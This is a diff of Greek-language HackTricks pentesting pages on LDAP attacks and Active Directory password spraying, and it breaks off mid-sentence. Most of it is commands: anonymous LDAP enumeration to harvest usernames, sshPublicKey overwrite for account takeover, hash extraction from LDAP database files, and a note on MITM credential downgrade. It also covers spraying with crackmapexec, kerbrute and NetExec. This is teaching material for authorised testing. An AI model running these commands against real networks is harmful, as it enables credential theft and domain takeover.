diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 67ec1dbca..3e33b3f1a 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -2,21 +2,21 @@ {{#include ../banners/hacktricks-training.md}} -Η χρήση του **LDAP** (Lightweight Directory Access Protocol) είναι κυρίως για την τοποθέτηση διαφόρων οντοτήτων όπως οργανισμούς, άτομα και πόρους όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα. +Η χρήση του **LDAP** (Lightweight Directory Access Protocol) αφορά κυρίως τον εντοπισμό διαφόρων οντοτήτων όπως οργανισμοί, άτομα και πόροι όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Παρέχει μια πιο απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα. -Οι καταλόγοι LDAP είναι δομημένοι ώστε να επιτρέπουν τη διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια **αντιγραμμένη** και **συγχρονισμένη** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων ανήκει εξ ολοκλήρου στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλους DSA κατά την ανάγκη για να παραδώσει μια ενιαία απάντηση στον αιτούντα. +Οι LDAP κατάλογοι είναι δομημένοι ώστε να επιτρέπεται η διανομή τους σε πολλούς servers, με κάθε server να φιλοξενεί μια **replicated** και **synchronized** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για τη διαχείριση των αιτήσεων βαρύνει εξ ολοκλήρου τον LDAP server, ο οποίος μπορεί να επικοινωνεί με άλλες DSAs αν χρειαστεί για να δώσει μια ενοποιημένη απάντηση στον αιτούντα. -Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας με τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές. +Η οργάνωση του LDAP καταλόγου μοιάζει με **ιεραρχία δέντρου, ξεκινώντας από τον root directory στην κορυφή**. Αυτός διακλαδίζεται σε χώρες, οι οποίες διαχωρίζονται περαιτέρω σε οργανισμούς, και μετά σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορα τμήματα ή διευθύνσεις, καταλήγοντας τελικά στο επίπεδο των μεμονωμένων οντοτήτων, περιλαμβάνοντας τόσο άτομα όσο και κοινόχρηστους πόρους όπως αρχεία και εκτυπωτές. -**Προεπιλεγμένη θύρα:** 389 και 636(ldaps). Ο Παγκόσμιος Κατάλογος (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS. +**Προεπιλεγμένη θύρα:** 389 και 636 (ldaps). Global Catalog (LDAP in ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` -### LDAP Data Interchange Format +### LDAP Μορφή Ανταλλαγής Δεδομένων -LDIF (LDAP Data Interchange Format) ορίζει το περιεχόμενο του καταλόγου ως ένα σύνολο εγγραφών. Μπορεί επίσης να αναπαριστά αιτήματα ενημέρωσης (Προσθήκη, Τροποποίηση, Διαγραφή, Μετονομασία). +LDIF (LDAP Μορφή Ανταλλαγής Δεδομένων) ορίζει το περιεχόμενο του καταλόγου ως σύνολο εγγραφών. Μπορεί επίσης να αναπαριστά αιτήματα ενημέρωσης (Add, Modify, Delete, Rename). ```bash dn: dc=local dc: local @@ -45,14 +45,14 @@ ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` -- Οι γραμμές 1-3 ορίζουν το τοπικό επίπεδο τομέα -- Οι γραμμές 5-8 ορίζουν τον πρώτο επίπεδο τομέα moneycorp (moneycorp.local) -- Οι γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales -- Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές +- Γραμμές 1-3 ορίζουν το top level domain local +- Γραμμές 5-8 ορίζουν το first level domain moneycorp (moneycorp.local) +- Γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales +- Γραμμές 18-26 δημιουργούν ένα αντικείμενο του domain και αντιστοιχίζουν attributes με τιμές -## Γράψτε δεδομένα +## Εγγραφή δεδομένων -Σημειώστε ότι αν μπορείτε να τροποποιήσετε τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**. +Σημειώστε ότι αν μπορείτε να τροποποιήσετε τιμές, θα μπορείτε να εκτελέσετε πολύ ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι **μπορείτε να αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το attribute υπάρχει, τότε **ssh διαβάζει τα public keys από LDAP**. Αν μπορείτε να τροποποιήσετε το public key ενός χρήστη, **θα μπορείτε να συνδεθείτε ως ο εν λόγω χρήστης ακόμα κι αν η πιστοποίηση με κωδικό δεν είναι ενεργοποιημένη στο ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -66,28 +66,53 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' ``` ## Sniff clear text credentials -Αν το LDAP χρησιμοποιείται χωρίς SSL, μπορείτε να **sniff credentials σε απλό κείμενο** στο δίκτυο. +Εάν το LDAP χρησιμοποιείται χωρίς SSL, μπορείτε να **sniff credentials in plain text** στο δίκτυο. -Επίσης, μπορείτε να εκτελέσετε μια **MITM** επίθεση στο δίκτυο **μεταξύ του LDAP server και του πελάτη.** Εδώ μπορείτε να κάνετε μια **Downgrade Attack** ώστε ο πελάτης να χρησιμοποιήσει τα **credentials σε απλό κείμενο** για να συνδεθεί. +Επίσης, μπορείτε να πραγματοποιήσετε μια **MITM** επίθεση στο δίκτυο **μεταξύ του LDAP server και του client.** Εδώ μπορείτε να κάνετε μια **Downgrade Attack** ώστε ο client να χρησιμοποιήσει τα **credentials in clear text** για να συνδεθεί. -**Αν χρησιμοποιείται SSL** μπορείτε να προσπαθήσετε να κάνετε **MITM** όπως αναφέρθηκε παραπάνω, προσφέροντας ένα **ψευδές πιστοποιητικό**, αν ο **χρήστης το αποδεχτεί**, μπορείτε να υποβαθμίσετε τη μέθοδο αυθεντικοποίησης και να δείτε ξανά τα credentials. +**If SSL is used** μπορείτε να προσπαθήσετε να κάνετε **MITM** όπως αναφέρθηκε παραπάνω αλλά προσφέροντας ένα **false certificate**· αν ο **user accepts it**, μπορείτε να κάνετε Downgrade τη μέθοδο authentication και να δείτε ξανά τα credentials. -## Anonymous Access +## Ανώνυμη Πρόσβαση ### Bypass TLS SNI check -Σύμφωνα με [**αυτή τη γραφή**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) απλά με την πρόσβαση στον LDAP server με ένα αυθαίρετο όνομα τομέα (όπως company.com) κατάφερε να επικοινωνήσει με την υπηρεσία LDAP και να εξάγει πληροφορίες ως ανώνυμος χρήστης: +Σύμφωνα με [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) απλώς με την πρόσβαση στον LDAP server χρησιμοποιώντας ένα αυθαίρετο domain name (π.χ. company.com) κατάφερε να επικοινωνήσει με την LDAP υπηρεσία και να εξάγει πληροφορίες ως anonymous user: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` -### LDAP ανώνυμες συνδέσεις +### LDAP anonymous binds -[LDAP ανώνυμες συνδέσεις](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) επιτρέπουν σε **μη αυθεντικοποιημένους επιτιθέμενους** να ανακτούν πληροφορίες από το domain, όπως μια πλήρη λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικών λογαριασμού χρηστών και την πολιτική κωδικών πρόσβασης του domain. Αυτή είναι μια **παλαιά ρύθμιση**, και από το Windows Server 2003, μόνο οι αυθεντικοποιημένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\ -Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προοριζόμενη, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD. +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **μη αυθεντικοποιημένοι επιτιθέμενοι** να ανακτήσουν πληροφορίες από το domain, όπως πλήρη λίστα χρηστών, ομάδων, υπολογιστών, attributes λογαριασμών χρηστών και την πολιτική κωδικών του domain. Αυτή είναι μια **παλαιότερη διαμόρφωση**, και από τα Windows Server 2003 μόνο οι επαληθευμένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\ +Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή ώστε να επιτρέπει anonymous binds** και να παραχώρησαν περισσότερο από το προβλεπόμενο επίπεδο πρόσβασης, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD. -## Έγκυρα Διαπιστευτήρια +### Anonymous LDAP enumeration with NetExec (null bind) -Αν έχετε έγκυρα διαπιστευτήρια για να συνδεθείτε στον LDAP server, μπορείτε να εξάγετε όλες τις πληροφορίες σχετικά με τον Domain Admin χρησιμοποιώντας: +If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters: +- (objectClass=*) to inventory objects under a base DN +- (sAMAccountName=*) to harvest user principals + +Examples: +```bash +# Enumerate objects from the root DSE (base DN autodetected) +netexec ldap -u '' -p '' --query "(objectClass=*)" "" + +# Dump users with key attributes for spraying and targeting +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" + +# Extract just the sAMAccountName field into a list +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" \ +| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt +``` +Τι να αναζητήσετε: +- sAMAccountName, userPrincipalName +- memberOf και θέση OU για τον περιορισμό των στοχευμένων sprays +- pwdLastSet (χρονικά μοτίβα), userAccountControl flags (disabled, smartcard required, κ.λπ.) + +Σημείωση: Εάν το anonymous bind δεν επιτρέπεται, συνήθως θα δείτε ένα Operations error που υποδεικνύει ότι απαιτείται bind. + +## Έγκυρα διαπιστευτήρια + +Εάν έχετε έγκυρα διαπιστευτήρια για σύνδεση στον LDAP server, μπορείτε να εξάγετε όλες τις πληροφορίες για τον Domain Admin χρησιμοποιώντας: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash @@ -96,11 +121,11 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ``` ### [Brute Force](../generic-hacking/brute-force.md#ldap) -## Enumeration +## Καταγραφή -### Automated +### Αυτοματοποιημένο -Using this you will be able to see the **δημόσιες πληροφορίες** (like the domain name)**:** +Με αυτό θα μπορείτε να δείτε τις **δημόσιες πληροφορίες** (όπως το όνομα τομέα)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` @@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
-Δείτε την αρίθμηση LDAP με python +Δείτε LDAP enumeration με python -Μπορείτε να προσπαθήσετε να **αριθμήσετε ένα LDAP με ή χωρίς διαπιστευτήρια χρησιμοποιώντας python**: `pip3 install ldap3` +Μπορείτε να δοκιμάσετε να **enumerate a LDAP με ή χωρίς credentials χρησιμοποιώντας python**: `pip3 install ldap3` -Πρώτα προσπαθήστε να **συνδεθείτε χωρίς** διαπιστευτήρια: +Πρώτα δοκιμάστε να **συνδεθείτε χωρίς** credentials: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) @@ -121,7 +146,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials True >>> server.info ``` -Αν η απάντηση είναι `True` όπως στο προηγούμενο παράδειγμα, μπορείτε να αποκτήσετε κάποια **ενδιαφέροντα δεδομένα** από τον LDAP (όπως το **naming context** ή το **domain name**) server από: +Αν η απάντηση είναι `True` όπως στο προηγούμενο παράδειγμα, μπορείτε να αποκτήσετε κάποια **ενδιαφέροντα δεδομένα** του LDAP (όπως το **naming context** ή το **domain name**) διακομιστή από: ```bash >>> server.info DSA info (from DSE): @@ -129,7 +154,7 @@ Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` -Μόλις έχετε το naming context, μπορείτε να κάνετε μερικά πιο ενδιαφέροντα ερωτήματα. Αυτό το απλό ερώτημα θα σας δείξει όλα τα αντικείμενα στον κατάλογο: +Μόλις έχετε το naming context, μπορείτε να κάνετε μερικά πιο συναρπαστικά queries. Αυτό το απλό query θα πρέπει να σας δείξει όλα τα αντικείμενα στον κατάλογο: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True @@ -145,7 +170,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **καταμέτρηση χρηστών, ομάδων και υπολογιστών από ένα Windows** domain χρησιμοποιώντας LDAP ερωτήματα. +[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα Python script χρήσιμο για **enumerate users, groups, and computers from a Windows** domain χρησιμοποιώντας LDAP queries. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p ``` ### ldapsearch -Ελέγξτε αν οι κωδικοί πρόσβασης είναι κενές ή αν οι κωδικοί σας είναι έγκυροι: +Ελέγξτε για null credentials ή αν τα credentials σας είναι έγκυρα: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" @@ -193,7 +218,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Use ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Ανακτήστε **τις πληροφορίες μου**: +Εξάγετε **τις πληροφορίες μου**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` @@ -209,24 +234,24 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Dom ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Εξαγωγή **Διαχειριστών**: +Εξαγωγή **Administrators**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Αποσπάστε **Remote Desktop Group**: +Εξαγωγή **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Για να δείτε αν έχετε πρόσβαση σε κάποιον κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις: +Για να δείτε αν έχετε πρόσβαση σε κάποιο password μπορείτε να χρησιμοποιήσετε grep αφού εκτελέσετε ένα από τα queries: ```bash | grep -i -A2 -B2 "userpas" ``` -Παρακαλώ σημειώστε ότι οι κωδικοί πρόσβασης που μπορείτε να βρείτε εδώ μπορεί να μην είναι οι πραγματικοί... - #### pbis -Μπορείτε να κατεβάσετε το **pbis** από εδώ: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) και συνήθως εγκαθίσταται στο `/opt/pbis`.\ -Το **Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα: +Παρακαλώ, σημειώστε ότι οι κωδικοί πρόσβασης που μπορείτε να βρείτε εδώ ενδέχεται να μην είναι οι πραγματικοί... + +Μπορείτε να κατεβάσετε το **pbis** από εδώ: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) και συνήθως εγκαθίσταται στο `/opt/pbis`.\ +**Pbis** σας επιτρέπει να αποκτήσετε βασικές πληροφορίες εύκολα: ```bash #Read keytab file ./klist -k /etc/krb5.keytab @@ -255,13 +280,13 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Rem ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user -./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done +./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group -./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done +./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do @@ -274,47 +299,47 @@ done ### Apache Directory -[**Κατεβάστε το Apache Directory από εδώ**](https://directory.apache.org/studio/download/download-linux.html). Μπορείτε να βρείτε ένα [παράδειγμα για το πώς να χρησιμοποιήσετε αυτό το εργαλείο εδώ](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Κατεβάστε το Apache Directory από εδώ**](https://directory.apache.org/studio/download/download-linux.html). Μπορείτε να βρείτε ένα [παράδειγμα χρήσης αυτού του εργαλείου εδώ](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer Μπορείτε να κατεβάσετε μια γραφική διεπαφή με LDAP server εδώ: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) -Από προεπιλογή εγκαθίσταται στο: _/opt/jxplorer_ +By default is is installed in: _/opt/jxplorer_ ![](<../images/image (482).png>) ### Godap -Το Godap είναι μια διαδραστική διεπαφή χρήστη τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και χαρακτηριστικά σε AD και άλλους LDAP servers. Είναι διαθέσιμο για Windows, Linux και MacOS και υποστηρίζει απλές συνδέσεις, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με πολλές άλλες εξειδικευμένες δυνατότητες όπως αναζήτηση/δημιουργία/αλλαγή/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή κωδικών πρόσβασης, επεξεργασία δικαιωμάτων αντικειμένων (DACLs), τροποποίηση Active-Directory Integrated DNS (ADIDNS), εξαγωγή σε αρχεία JSON, κ.λπ. +Godap είναι μια διαδραστική διεπαφή τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και attributes στο AD και άλλους LDAP servers. Διατίθεται για Windows, Linux και MacOS και υποστηρίζει simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με αρκετές άλλες εξειδικευμένες λειτουργίες όπως αναζήτηση/δημιουργία/τροποποίηση/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή passwords, επεξεργασία permissions αντικειμένων (DACLs), τροποποίηση Active-Directory Integrated DNS (ADIDNS), εξαγωγή σε JSON αρχεία, κ.λπ. ![](../images/godap.png) -Μπορείτε να το αποκτήσετε από [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Για παραδείγματα χρήσης και οδηγίες διαβάστε το [Wiki](https://github.com/Macmod/godap/wiki). +Μπορείτε να το βρείτε στο [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Για παραδείγματα χρήσης και οδηγίες διαβάστε το [Wiki](https://github.com/Macmod/godap/wiki). ### Ldapx -Το Ldapx είναι ένα ευέλικτο LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει & να μετασχηματίσει την κίνηση LDAP από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να αποκρύψει την κίνηση LDAP για να προσπαθήσει να παρακάμψει τα εργαλεία προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάζονται στην ομιλία [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). +Ldapx είναι ένας ευέλικτος LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει και να μετασχηματίσει την LDAP κίνηση από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να παραποιήσει την LDAP κίνηση με στόχο την παράκαμψη εργαλείων προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάστηκαν στο [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) talk. ![](../images/ldapx.png) -Μπορείτε να το αποκτήσετε από [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). +Μπορείτε να το κατεβάσετε από [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). -## Αυθεντικοποίηση μέσω kerberos +## Authentication via kerberos -Χρησιμοποιώντας το `ldapsearch` μπορείτε να **αυθεντικοποιηθείτε** μέσω **kerberos αντί** για **NTLM** χρησιμοποιώντας την παράμετρο `-Y GSSAPI` +Χρησιμοποιώντας `ldapsearch` μπορείτε να **αυθεντικοποιηθείτε** μέσω **kerberos αντί** για μέσω **NTLM** χρησιμοποιώντας την παράμετρο `-Y GSSAPI` ## POST -Αν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο _/var/lib/ldap_). Μπορείτε να εξάγετε τους κατακερματισμούς χρησιμοποιώντας: +Αν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο _/var/lib/ldap_). Μπορείτε να εξαγάγετε τα hashes χρησιμοποιώντας: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -Μπορείτε να τροφοδοτήσετε τον john με το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε 'structural'). +Μπορείς να δώσεις στο john το password hash (από '{SSHA}' έως 'structural' χωρίς να προσθέσεις το 'structural'). -### Αρχεία Ρυθμίσεων +### Αρχεία ρυθμίσεων -- Γενικά +- General - containers.ldif - ldap.cfg - ldap.conf @@ -335,7 +360,7 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u - Sun ONE Directory Server 5.1 - 75sas.ldif -## HackTricks Αυτόματες Εντολές +## Αυτόματες Εντολές HackTricks ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. @@ -378,4 +403,10 @@ Entry_7: Name: Netexec LDAP BloodHound Command: nxc ldap -u -p --bloodhound -c All -d --dns-server --dns-tcp ``` +## Αναφορές + +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) +- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec) +- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 596ac6c5e..a45ed81f3 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Αφού βρείτε αρκετά **έγκυρα ονόματα χρήστη** μπορείτε να δοκιμάσετε τους πιο **συνηθισμένους κωδικούς** (να έχετε υπόψη την πολιτική κωδικών του περιβάλλοντος) για κάθε έναν από τους εντοπισμένους χρήστες.\ -Κατά **προεπιλογή** το **ελάχιστο** **μήκος** **κωδικού** είναι **7**. +Μόλις βρείτε αρκετά **έγκυρα ονόματα χρηστών** μπορείτε να δοκιμάσετε τους πιο **συνηθισμένους κωδικούς πρόσβασης** (να έχετε κατά νου την πολιτική κωδικών του περιβάλλοντος) για κάθε έναν από τους ανακαλυφθέντες χρήστες.\ +Από **προεπιλογή** το **ελάχιστο** **μήκος** **κωδικού** είναι **7**. -Λίστες με συνηθισμένα ονόματα χρήστη μπορεί επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Λίστες με κοινά ονόματα χρηστών μπορεί επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Σημειώστε ότι **μπορεί να κλειδώσετε κάποιους λογαριασμούς αν δοκιμάσετε πολλούς λανθασμένους κωδικούς** (κατά προεπιλογή πάνω από 10). +Σημειώστε ότι **ορισμένοι λογαριασμοί μπορεί να κλειδωθούν αν δοκιμάσετε πολλούς λάθος κωδικούς** (από **προεπιλογή** πάνω από 10). -### Get password policy +### Λήψη πολιτικής κωδικών -Αν έχετε διαπιστευτήρια χρήστη ή ένα shell ως χρήστης του domain μπορείτε να **λάβετε την πολιτική κωδικών με**: +Εάν έχετε κάποια user credentials ή ένα shell ως domain user, μπορείτε να **λάβετε την πολιτική κωδικών με**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,15 +31,30 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation από Linux (ή όλα) +### Εκμετάλλευση από Linux (ή όλα) -- Χρησιμοποιώντας **crackmapexec:** +- Χρήση του **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` +- Χρησιμοποιώντας **NetExec (CME successor)** για στοχευμένο, χαμηλού θορύβου spraying μέσω SMB/WinRM: +```bash +# Optional: generate a hosts entry to ensure Kerberos FQDN resolution +netexec smb --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts + +# Spray a single candidate password against harvested users over SMB +netexec smb -u users.txt -p 'Password123!' \ +--continue-on-success --no-bruteforce --shares + +# Validate a hit over WinRM (or use SMB exec methods) +netexec winrm -u -p 'Password123!' -x "whoami" + +# Tip: sync your clock before Kerberos-based auth to avoid skew issues +sudo ntpdate +``` - Χρησιμοποιώντας [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying @@ -47,11 +62,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να καθορίσετε τον αριθμό προσπαθειών για να αποφύγετε αποκλεισμούς):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να καθορίσετε τον αριθμό προσπαθειών για να αποφύγετε lockouts):**_ ```bash spray.sh -smb ``` -- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΝΙΣΤΑΤΑΙ, ΜΕΡΙΚΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ +- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΝΙΣΤΑΤΑΙ — ΜΕΡΙΚΕΣ ΦΟΡΕΣ ΔΕΝ 